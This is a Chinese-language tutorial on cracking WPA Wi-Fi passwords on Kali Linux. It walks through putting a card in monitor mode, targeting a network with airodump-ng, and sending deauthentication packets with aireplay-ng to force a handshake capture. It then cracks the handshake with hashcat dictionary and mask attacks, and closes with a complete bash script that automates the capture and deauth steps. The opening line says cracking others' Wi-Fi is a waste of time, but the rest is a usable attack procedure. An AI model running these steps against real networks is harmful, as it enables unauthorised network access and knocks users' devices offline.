前言

现在加密算法很完善,破解wifi完全是靠字典,基本找不到什么漏洞,所以如果你想破解别人的wifi,建议还是不要浪费时间了

接下来我将展示破解wifi的过程

过程

抓包

首先打开kali,切换到root用户

sudo -i

输入管理员密码

  1. 打开网卡的监听模式

airmon-ng start wlan0

这个wlan0从ifconfig获得,我这里的网卡是wlan0,如果你的网卡是别的请修改为对应名称

可能在开启后,你的网卡会变成wlan0mon,如果这样请修改脚本后面的wlan0部分

  1. 进入扫描模式

airodump-ng wlan0

进入网卡的扫描模式,网卡会不断的切换信道,所以需要在查看到wifi目标以后关闭airodump-ng,否则会和后面的步骤冲突

  1. 监听对应WiFi

airodump-ng -c $CH --bssid ${ESSID} -w /etc/crack/${SSID} wlan0

-c 后面跟信道CH

--bssid后面跟上一步中目标WiFi的BSSID

-w 是输出的文件路径

可以看到连接到对应WiFi的设备信息

设备信息

  1. 发送deAuth,使得连接上此WiFi的设备重新连接,即获取握手包

aireplay-ng -0 4 -a $BSSID -c $STATION wlan0

$STATION是你要攻击的设备的MAC,从上一步下方的STATION可以获取已连接的设备

  1. 等待抓取握手包

一旦抓取到了握手包,会有个WPA handshake字样

成功抓包

这样就是成功了

处理包

进入网页

将cap文件转化为22000文件

运行命令
hashcat -a 0 -m 22000 xxx.cap dict.txt --force

如果字典中有密码就可以成功破解WiFi

如果使用掩码

hashcat.exe -a 3 -m 22000 .\xxx.cap --increment --increment-min=8 --increment-max=10 ?d?d?d?d?d?d?d?d?d?d

这个命令要跑很多年,我记得是121年来着

你可以把?d换成别的掩码,具体请看hashcat官方页面介绍

一键抓包脚本

直接附上脚本

#!/bin/bash
sudo mkdir /etc/crack >> /dev/null 2>&1
sudo airmon-ng start wlan0 >> /dev/null 2>&1
echo "First confirm the WIFI you need to crack."
sudo airodump-ng wlan0

read -p "Enter ESSID: " BSSID
read -p "Enter WIFI SSID: " SSID
read -p "Enter CH: " CH
gnome-terminal -- sudo airodump-ng -c $CH --bssid ${BSSID} -w /etc/crack/${SSID} wlan0
read -p "Enter STATION: " STATION
echo Sending deAuth packet
sudo aireplay-ng -0 4 -a $BSSID  -c  $STATION  wlan0 >> /dev/null 2>&1

echo "Wait for 30s to grab handshake."
sleep 30s
action=""

while [ "$action" != "Y" ] && [ "$action" != "N" ]
do
	read -p "Still no WSA handshake packet? Enter Y if you need to send deAuth packet again [Y/N]" action
done

if [ "$action" = "Y" ]
then
	sudo aireplay-ng -0 4 -a $BSSID -c $STATION wlan0 >> /dev/null 2>&1
	echo Sending deAuth again.
fi

echo $SSID.cap file is saved in /etc/crack/$SSID.cap

用法

chmod a+x crack.sh

bash crack.sh

运行后,找到对应wifi后按CTRL+C退出,然后输入BSSID CH 保存名称

输入参数

找到连接到该WiFi的设备后,输入mac

输入参数

等待片刻即可获得包

包会保存为/etc/crack/{ssid}.cap